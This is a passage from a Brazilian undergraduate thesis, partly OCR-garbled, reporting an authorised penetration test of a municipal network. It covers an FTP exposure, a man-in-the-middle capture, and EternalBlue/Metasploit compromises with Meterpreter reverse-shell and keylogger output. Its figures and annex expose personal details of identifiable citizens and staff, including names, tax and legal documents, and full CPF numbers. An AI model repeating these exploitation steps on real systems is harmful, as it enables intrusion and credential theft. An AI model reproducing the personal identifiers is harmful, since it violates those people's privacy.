Utilizando a ferramenta Nexpose, foi possivel fazer um escaneamento preciso de
cada dispositivo na rede em busca por vulnerabilidades com os graficos intuitivos e
informagdes em cada uma delas. Apdés o escaneamento, foi possivel ver que 8
computadores estavam vulneraveis ao Eternalblue (CVE-2017-0146). Todos os vulneraveis
pelo Eternalblue sdo do sistema operacional Windows 7, conforme mostram as Figuras 6
e’.



Figura 6 — Lista de vulnerabilidades com o maior risco de acordo com Nexpose

Title oy N cvss cvssv3 Risk v
& ) 9.3 919
10 916
7.5 907
75 907
7.5 907
7.5 907
7.5 907
75 907

10 904

PHP Vulnerability: CVE-2007-0910 10 902

owing 1to 10 of 434 ‘ @E(pc'!fc

Published On

Tue Mar 14 2017

Wed Jan 01 1997

FriJan 01 1999

Fri Jan 01 1999

FriJan 01 1999

FriJan 01 1999

FriJan 01 1999

Fri Jan 01 1999

Fri Jun 30 2006

Tue Feb 13 2007

Fonte: Captura de tela obtido pela autora

Modified On

Fri Aug 23 2019

Wed Dec 04 2013
Thu Sep 27 2012
Thu Sep 27 2012
Thu Sep 27 2012
Thu Sep 27 2012
Thu Sep 27 2012
Thu Sep 27 2012
Tue Jun 30 2020

Wed Jul 21 2021

Severity

Critical

Critical

Critical

Critical

Critical

Critical

Critical

Critical

Critical

Critical

S per page:

16

Instances

8

4

Figura 7 — Grafico dos sistemas operacionais usados nas maquinas da prefeitura

= Assets by Operating System

& .

Fonte: Captura de tela obtido pela autora

Foram encontradas 434 vulnerabilidades no total, e de acordo com Nexpose, a mais

critica delas é o Eternalblue (CVE-2017-0416),

como apontado na secao de

Vulnerabilidades no Referencial Tedrico. Também foi descoberto através da lista, acessos

FTP de uma impressora conectado via rede e de um servidor do sistema integrado da

prefeitura. No caso da impressora, ndo haviam informacgdes ou arquivos sensiveis, apenas

as configuracdes e fila de impressdes da mesma. Ja no do servidor, haviam 3 acessos no

sistema: Sistema de Contabilidade Publica, Sistema Integrado de Gestao Publica e Sistema

de Apuragao de Pregéo.
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No acesso FTP do servidor do sistema integrado poderiam ser acessados da

seguinte forma:

e http://192.168.25.50/contab0/
e http://192.168.25.50/erpsim/
e http://192.168.25.50/siap/

No contabO (Sistema de Contabilidade Publica), haviam documentos de contas e
gastos publicos, alguns de até mais de 10 anos. No erpsim (Sistema Integrado de Gestao
Publica), haviam documentos voltados para o setor de tributos, e nele foram encontrados
alguns documentos como alvara de construgdo e de licenga para funcionamento de
comeércio, listagem de certiddes de 2014 de outra cidade e guia de arrecadagao municipal
de ITBI de um cidadao. Se este tipo de documento for exposto ao publico ilegalmente,
poderia ferir a LGPD (Lei Geral de Protecao de Dados).

Figura 8 — Guia de arrecadag¢ao municipal de ITBI de um cidadao

MUNICIPIO DE TARUMIRIM ITBI 2021 / 2021 GUIA DE ARRECADACAO MUNICIPAL - N° 21280
CONTRIBUINTE ORIGEM DO DEBITO PAGINA 1/1
ADAIR = - INSI R0 1 01.01,001.0003.0001
At IRROC
TARUMIRIM MG - CPF | CNPJ TARUMIRIM MG
TRIBUTO CALCULO VALOR
ITBI 925,00 =
<
2
§
c
13104/2021 a5 1032, por LUCAS VI, A$95.000,00; 2
Recurso Proprio; R$30,000,00 * 2,00% = ASE00,00; Recurse Financiado: §
R$65.000,00 * 0,50% = R$325,00. Trans.: JOSE ®
Insc.: 01.01.001.0003.0001. Adg.: ADAIR =
{ITBI incide) >
Vr Apurade: RS825,00 - Tolal: R$925,00 =
3
£
ke
2
O contribainte estd em débito na preteiurs . l%
VIA CONTRIBUINTE AUTENTICAGAO MECANICA NO VERSO
MUNICIPIO DE TARUMIRIM MUNICIPIO DE TARUMIRIM
ITBI 2021 / 2021 PARCELA 2/2 ITBI 2021 / 2021 PARCELA 1/2
N VENCIMENTD D GoA VENGMENTG)
01 01 .001.0003.0001 14687 13/05/2021 $ 01.01.001.0003.0001 14686 13/05/2021 £
2 ]
ADAIR I ADAIR .
VALOR LANCADO VALOR PARCELA | COTA, ‘: VALOR LANCADO VALOR PARCELA / COTA E
R$925,00 R§462,50 2 R$925,00 R$462.50 g
@ "WALOR A PAGAR. g P VALCR A FAGAR 2
il R$462,50 3 1 RS$462,50 H
2 & = 5

,..-f' . -- o am e e

‘I'"3u ;Jj) 'l” mi:a / Jt-ﬂ!:‘.‘ l"ﬁh‘iln“ if ( " \ ‘“4',' (. (,

d . 4 "' L K ‘“ ‘ " 47 u‘liuﬁlul 53 lll UI',| -‘Qm‘mi L4 ; ‘;l ‘}
ﬂUTENTICﬂ-CN’J V‘MNIC! NC VEHSO AUTE“TN&&,JS MEC, N ICA

Fonte: Captura de tela obtido pela autora

Ainda no erpsim, foram encontrados alguns arquivos .sql e até mesmo .sh, todos
datados ha mais de 15 anos. No siap (Sistema de Apuragdo de Pregdo), haviam

documentos de pregéao e licitagdo, contendo nomes e CPF dos candidatos. Nesse caso, as
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licitacbes devem ser publicas, mas esses tipos de informag¢des ndo podem ser adquiridas
desta forma, dando uma ma impressao de baixa seguranga das informagdes armazenadas

nos servidores.
4.3 Man-in-the-middle

O primeiro teste na rede a ser feito foi o ataque man-in-the-middle. Alguns switchs
e roteadores vém de fabrica com uma proteg¢ao contra tal ataque, mas isso ndo se mostrou
presente na rede da prefeitura, sendo possivel ver todo o trafego sem interrupg¢des. Ha
também formas de proteger a rede através de softwares e algum especialista de seguranca
mantendo vigia, mas isso também nao se mostrou presente. Durante o ataque, foi possivel
ver 0 que parecia ser dados inseridos no sistema do e-sus, sendo que o IP do servidor do

e-sus na hora do teste era 0 192.168.25.206, como apresentado na Figura 9.

Figura 9 — Uma das informagdes adquiridas através do ataque man-in-the-middle

[08:29:02] [net.sniff.http.response 192.168.25.206:8080 200 OK — 45.177.8.42 (8.3 kB application/json;charset=UTF-8)

HTTP/1.1 200 OK
H

: 1; mode=block
: Tue, 05 Oct 2021 12:29:04 GMT
: Origin
: Acce ontrol-Request-Method
: Access-Co Request-Headers

: no-cache
: keep-alive
: nosniff
: application/json;charset=UTF-8
: 1229
: no-cache, no-store, max-age=0, must-revalidate

’
‘1 "2011-09-14",
CidadaoBasico"
1633434396093,
1633434396093,
0": "AGUARDANDO_ATENDIMENTO",

': "NAO_CLASSIFICADO",

Fonte: Captura de tela obtido pela autora

Pelo fato de n&o estarem usando protecao contra esse tipo de ataque, seus sistemas

que utilizam HTTP, um protocolo sem seguranga criptografada, faz com que o invasor
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possa ver o que € acessado sem problemas e com total clareza. O invasor pode até mesmo
injetar codigos de Javascript para substituir links, imagens, inserir elementos HTML e até
mesmo um alerta falso de atualizagdo no navegador (sendo que na verdade é um
backdoor). Backdoor sao perigosos, pois dao acesso quase que completo para o invasor

no computador da vitima, e um exemplo disso € demonstrado na proxima segao.
4.4 Eternalblue

Como analisado na secdo de Vulnerabilidades do Referencial Tedrico, o Eternalblue
continua presente no mundo, e na prefeitura ndo foi diferente. Como demonstrado pelo
Nexpose, haviam 8 computadores vulneraveis ao Eternalblue e foi testado cada um deles.

O primeiro alvo foi o computador com nome de Engenharia-PC (Figura 10).

Figura 10 — Invasdo do computador com nome de Engenharia-PC

msf6é exploit( ) > set RHOSTS 192.168.25.76
RHOSTS == 192.168.25.76
msf6 exploitl( ) = run

[*#] Started reverse TCP handler on 192.168.25.135:4444
[*] 192.168.25.76:445 Generating Eternalblue XML data
*] 192.168.25.76:445 Generating Doublepulsar XML data
[*] 192.168.25.76:445 Generating payleoad DLL for Doublepulsar
[*#] 192.168.25.76:445 Writing DLL in /root/.wine/drive_c/eternalll.dll
[*#] 192.168.25.76:445 Launching Eternalblue...
[+] 192.168.25.76:445 Pwned! Eternalblue success!
L*]
[*]

192.168.25.76:445 - Launching Doublepulsar...

Sending stage (200262 bytes) to 192.168.25.76
[#] Meterpreter session 1 opened (192.168.25.135:4444 -> 192.168.25.76:50144) at 2021-05-10 14:08:03 -0300
[+] 192.168.25.76:445 - Remote code executed... 3... 2... 1...

meterpreter > sysinfo
: ENGENHARIA-PC
: Windows 7 (6.1 Build 7681, Service Pack 1)
Architecture : x64
System Language : pt_BR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows

Fonte: Captura de tela obtido pela autora

Apos a invasao, foi possivel ter total controle do computador via terminal. Foi possivel
ver que haviam varios arquivos de projetos de engenharia que ja foram feitos e que ainda
serao construidos. Havia também um arquivo de contrato pessoal do responsavel pelo
computador (Figura 11). Mesmo sendo um documento pessoal, isto poderia ferir a LGPD.
Foi adquirido nada de importante no escaneamento do teclado. Foi feito também uma
captura de tela, mostrando que o responsavel pelo computador trabalhava em uma tabela

no Excel apds a invasao, como apresentado na Figura 12.



20

Figura 11 — Contrato pessoal do responsavel pelo computador
AUTORIZACAO

Eu, JOAO VICTOR [ ::siliro, solteiro, portador do
RG n° [N BN - inscito no CPF sob o ne° [N

residente & domicitado na [ - CE

- Tarumirim-MG, AUTORIZO, através do presente instrumento, a Sra.

LoreNA [ brosileira, divorciada,
portadora do RG n° [ B - inscita no CPF sob o n®
I -sidente e domiciliada na .
_CEP I =sia cidade de Governador Valadares-MG,

como Autorizada a assinar, concordar, dar por encerrado o Contrato de Locacao ao

msvellocaiizado - I

I que figura como Locatério o presente Autorizante.
Por ser a expressao da verdade, firmo a presente.

Dada e passada nesta Cidade e Comarca de Governador Valadares/MG, aos
11 dias do més de novembro de 2019.

J0A0 VicTOR I
cer I

Fonte: Captura de tela obtido pela autora

Figura 12 — Captura de tela feito no computador Engenharia-PC apds a invaséo

Entrar

PLANILHA MULTIPLA V305 [Modo de Compatibilidade] -

Excel

Arquivo Layout daPagina  Férmulas Bxbir  Ajuda ) Digs-me o quevocé deseja fazer
¥ sy = ®
3% Recortar Arial 0 T 3 Igl' >
E3 Copiar ~ = . s Preencher~
et NIS A = = E © 9 o0 | %3 mo £ Inserir Excluir Formatar Localizar e
 Pincel de Formatagio 2 g ] # Limpar~ S
Area de Transferéncia = Fonte Alinhamento Nimero Estilos Células Edicdo ~
N25 > & | =025-M25 w
c H 1 J K L 1] N ° P WX Y z A AB AP [~
1 RRE - RELATORIO RESUMO DO EMPREENDIMENTO - TOMADCR
2
3| |PROPONENTE/TOMADOR N* OPERACAO I SICONV RECURSO
4| |Prefeitura bunicipal de Tarumirim 1064617-28 269012019 VALORES CONTRATADOS (R$): ocu
5| |APELIDO DO EMPREENDIMENTO MUNICIPIO | UF REPASSE CONTRAPARTIDA [INVESTIMENTO  [N° RRE
7 asfltica eioy em bloquetes, & TARUMIRIMMG 238.750,00 463984 243.389,84 2
8
9 = e Situagao do TCICR: Percentual previsto em: Saldoa Repasse (RS | (S]] [Para Metas
10| (e | | 5] Normal jun-20 100,00% Reprogramar 3878 | digite o valor medido nas colunas 4 direita.
1z Valores Medidos (RS) Valores Medidos (RS)
o [BMT Acumulado | Execugao BT Acumulado
1| meta Descrigio da Meta Situagdo | Quantidade | Unid. "°'f ‘f: L'g'T'E‘E“’ PLE | Valor Total (RS) | , ﬂ"‘:""m No Periodo incluindo o Fisica PLE |, 23'“:‘3":’ incluindo o
13| (¥ = n i Periodo Acum. g | Penedo IR parigin
14[F | 1. PAVIMENTACAO EmAndlise | 547257 | m 0 2 | 24335106 93.95390 142.307.16 24335106 | 100.00%
24 F %) 7100,00% ) 51,35% [100,00% )
25|F Repasse 238.711,22 14554869 1 23871123 Anterior (RS} Acumulado
26 |F Contrapartida B4 z 984 100,00% Pl
27|F Outros - oul
28 |F Investimento 149.397,16 243.351,06
a1
2
33
Er}
35|  TARUMIRIMMG segunda-feira, 22 de junho de 2020
36| Tocal Data
37
)
39| TRepresentanie Tomador Responsavel Tecrico pela Fiscalzacio
40| Nome: MARCILIO DE PAULABOMFIM LEANDRO HENRIQUE FERREIRA ROCHA
41| Cargo: PREFETO Profissio: ENGENHEIRO CIVIL
42 CREAICAU: 2023320
43 ARTIRRT: 14201900000005026585
a4
45|
46| Responsavel Socal Responsavel Financeir
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Fonte:

Captura de tela obtido pela autora
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O préximo computador invadido foi o Patrimonio-PC. Nele havia nenhum arquivo ou
informacgéo sensivel, mas durante o escaneamento do teclado, foi possivel ver o e-mail e
a senha da pessoa que utilizava o computador enquanto inseria em um site que exigia login,

como mostra a Figura 13.

Figura 13 — Keyscan do computador Patrimonio-PC

meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...

<Right Shift=>@hotmail.com®
H=>< E—— cH><t

apel fotogrpapel p

meterpreter > [j

Fonte: Captura de tela obtido pela autora

O e-mail do responsavel pelo computador é pessoal, sendo ainda mais perigoso. Se
a pessoa usar a mesma senha do e-mail para outros sites, o invasor tem “controle da vida”
da vitima. Esse é um dos maiores perigos deste tipo de vulnerabilidade. E sempre
preocupante e estressante desfazer qualquer incbmodo que o invasor tenha causado a
vitima, principalmente se o e-mail estiver vinculado a uma conta de banco.

Seguindo a lista, o préximo é o computador chamado Tel-PC. O computador continha
varios documentos judiciais como transferéncias de titulos, recadastramento biométrico,
processos ajuizados, procuragao penal, autorizacbes de viagens, contrato de locagao,
termo de compromisso e até lista de divida pessoal. Esses tipos de documentos continham
nomes, estado social, RG, CPF, enderecos, numeros de telefones e numeros dos titulos
eleitorais (nos documentos de transferéncia e recadastramento biométrico) dos cidadaos.

Um desses documentos € apresentado na Figura 14.
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Figura 14 — Transferéncia de titulo de uma cidada encontrado no computador Tel-PC

AO EXCELENTISSIMO SENHOR DOUTOR JUIZ DE DIREITO DA COMARCA
DE TARUMIRIM/MG.

Eu, ELIANA ; , brasileira, casada, do lar, portadora da Carteira de
Identidade n® e do CPF n° , residente e domiciliada no
, 5/n® zona rural do municipio de Tarumirim, sitio de

propriedade do Sr. Rubens ) " - Minas Gerais, CEP: 35.140-
000, podendo ser contatada através do telefone (31) , vem com o devido
respeito e acato perante Vossa Exceléncia informar e requerer a pelas razoes de fato e

de direito a seguir expostas:

TRASFERENCIA DE TITULO DE ELEITORAL

Conforme se verifica do meu titulo eleitoral informado, o0 mesmo é oriundo da
cidade de Belo Horizonte/MG, inscri¢ao n® ,Zona , secao

Ocorre que desde marco do ano de 2017 fixei meu domicilio e residéncia no
municipio de Tarumirim/MG, surgindo a necessidade de transferir meu titulo para esta
comarca.

No entanto, nao tenho como comprovar meu domicilio, pois resido atualmente
juntamente com meu pai o Sr. Rubens , sendo que as contas dos servigos
plblicos essenciais (agua, luz) estaio em nome deste, conforme se verifica do

documento, que segue acostado.

Ainda DECIARN nna actac infarmarAasce ranctitiiam a avaraccan da vardada

Fonte: Captura de tela obtido pela autora

Este tipo de informagao € um perigo nas maos de golpistas que utilizam engenharia
social para enganar suas vitimas, principalmente as mais humildes. O documento nao s6
tem o nome, CPF e RG, como tem o endereco e até mesmo com quem a pessoa mora,
sendo ainda mais facil para o golpista enganar a vitima podendo se passar por um amigo
ou parente que supostamente o conhece. A maioria estava armazenado ha mais de 2 anos,
mostrando o desleixo do profissional em quesito a armazenar essas informagdes mais
antigas em locais como a nuvem, pen drive, armazenamento externo, ou até mesmo excluir
caso nao sejam mais necessarios tais arquivos. Caso isso vazasse, a prefeitura teria sérios
problemas com a LGPD.

O préximo é o computador com nome de PMT-PC. Apds adquirir alguns arquivos e
capturas de tela, foi possivel perceber que o computador situava-se no setor de saude.
Foram encontrado varios documentos RG (frente e verso), comprovante de residéncia,
titulo de eleitor, lista de pessoas que foram vacinadas contra o Covid-19 de acordo com a
idade, lista de mamografia, boletos e recibos do responsavel pelo computador, exames dos

pacientes e agendas. A Figura 15 mostra um desses documentos.
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Figura 15 — Foto encontrado armazenado no computador PMT-PC
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Fonte: Captura de tela obtido pela autora

Haviam varios documentos do tipo e boa parte deles estavam ha mais de 1 ano
armazenados no computador. Alguns arquivos como o da Figura 15 estavam armazenados
na area de trabalho, demonstrando um desleixo pior do que do profissional anterior
analisado. O essencial € excluir os arquivos sensiveis logo apés o uso delas, mas caso
houver a necessidade de usa-las futuramente, um armazenamento em nuvem ou externo
seria mais seguro. Esse é mais um caso que a prefeitura teria problemas com a LGPD.

Nao foram encontrados arquivos sensiveis nos outros 4 computadores listados pelo
Nexpose, mas com paciéncia do invasor, seria possivel adquirir e-mails e senhas utilizados
pelos funcionarios, informagdes pessoais ou até mesmo implementar um RAT (Remote
Access Tool) e executa-lo sem a vitima perceber. Apds o término das invasoes, foi feito um
escaneamento manual embutido no Metasploit de todos os computadores utilizando o
sistema operacional Windows 7 para ter certeza se 0 Nexpose deu nenhum falso negativo.

Foram descobertos mais 2 computadores com o escaneamento manual, mas com
uma diferenga: eram de arquitetura 32 bits. Na Figura 16 pode-se ver o resultado desse

escaneamento manual.
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Figura 16 — Escaneamento manual embutido do Metasploit
msf6 auxiliary( ) » set RHOSTS 192.168.25.163
92.168.25.163
msf6 auxiliary( ) > run

[+] 192.168.25.163:445 - Host is likely VULNERABLE to M517-810! - Windows 7 Ultimate 7608 x86 (32-bit)
. 5.163:445 - Scanned 1 of 1 hosts (108% complete)
iary module execution completed

) = |

Fonte: Captura de tela obtido pela autora

A invasdo desses 2 computadores foram feitas com sucesso, mas por serem de
arquitetura 32 bits, foi dificil manter a conex&o por muito tempo, pois 0 mesmo nao suporta
muitas instru¢des, forcando o computador a reiniciar. Por conta disso, ndo foi possivel
continuar, pois quebraria o acordo feito com a prefeitura de ndo impedir e prejudicar o
funcionario. Isto ainda conta como vulnerabilidade, pois o invasor pode ver a oportunidade

de atrapalhar a vitima de seu trabalho no computador.
5 CONCLUSAO

A Segurancga da Informagéo se tornou vital para uma organizagao nesta época de
pandemia, onde muita coisa foi sendo automatizada. A necessidade de se proteger de
futuros ataques se deu por conta da conscientizacdo ao longo dos anos e principalmente
por conta da LGPD (Lei Geral de Protegao de Dados Pessoais).

O presente trabalho utilizou métodos onde o invasor tem nenhum conhecimento
sobre a organizagao (black box), destacando as vulnerabilidades mais relevantes listadas
pela ferramenta Nexpose e o que foi adquirido a partir delas. Foi utilizado o método de
acesso FTP para adquirir algumas informagdes sem nenhum tipo de configuragdo ou
software, onde foi possivel conseguir alguns dados pessoais. Foi demonstrado também o
ataque MITM (man-in-the-middle), sendo possivel adquirir informag¢des que sao passadas
na rede por todos os computadores. Por fim, foi utilizado a vulnerabilidade Eternalblue para
acessar remotamente os computadores do ambiente testado, tendo total controle da
maquina, sendo possivel adquirir ndo s6 dados pessoais como e-mail e senha de uma das
vitimas.

Entretanto, os métodos, as técnicas e os processos em geral apresentados neste
trabalho ndo podem garantir que ira funcionar em todas as organizagdes. Apesar de nao
ter sido possivel utilizar métodos de engenharia social, a pratica do trabalho se mostrou
eficaz e os resultados muito satisfatérios. Esse tipo de risco pode trazer prejuizos futuros

a organizagao e demonstra a validez do problema apontado anteriormente. Muitas vezes,



25

as organizag¢des nao se tem conhecimento dos perigos que correm, e € importante que os
profissionais na area demonstre os riscos que a mesma pode correr, para que haja a
iniciativa de melhorar.

O ambiente analisado se mostrou bastante vulneravel de tais invasdes com os
métodos apresentados no trabalho. A falta de treinamento e disciplina dos funcionarios em
lidar com informagdes delicadas é bem presente, gerando um risco ainda maior para a
organizacao e até mesmo para o proprio funcionario, onde um deles havia armazenado
varios boletos e recibos bancarios. Isso se da pela falta de Politica de Seguranca da

Informacgao na organizagao, que € essencial para manter os dados seguros.
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ANEXO A

Autorizagao

Eu, SAMUEL DE PAULA LIMA, portador do CPF n°® 122.089.786-84, Chefe de
Informatica e Sistema responsavel pelo setor de tecnologia da Prefeitura Municipal de
Tarumirim, venho pro meio deste permitir a estudante MARLENE TONEL LOPES
JORDAO, portadora do CPF n° 106.024.866-29, utilizar dos sistemas de rede e hardware
da informada prefeitura para realizar pesquisa local com fins académicos como forma de
conclusdo de curso. A mesma se compromete a nao utilizar os dados coletados para fins
externos ao da pesquisa, garantindo que todos os dados serdo anonimizados e qualquer
informacgdo que possa ser utilizada para identificar individuos sera destruida apds a
conclusao da pesquisa.

A estudante podera utilizar os sistemas da prefeitura da forma que achar necessario sem
prejudicar o funcionamento e a seguranga do sistema. Suas conclusdes devem ser
entregas para o responsavel do setor de tecnologia a fim de analisar as vulnerabilidades
encontradas e, se possivel, aprimorar a seguranga.
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Estudante do curso Ciéncia da Computagao
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